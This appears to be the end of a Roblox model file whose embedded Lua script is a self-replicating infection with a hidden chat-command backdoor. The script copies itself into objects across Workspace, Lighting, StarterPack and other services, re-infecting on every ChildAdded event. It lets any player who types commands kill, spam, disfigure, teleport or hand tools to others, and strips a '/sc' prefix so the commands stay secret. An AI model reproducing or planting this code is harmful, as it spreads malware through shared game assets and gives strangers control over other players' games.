if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
	</Item>
	<External>RBX983</External>
	<External>RBX984</External>
</roblox>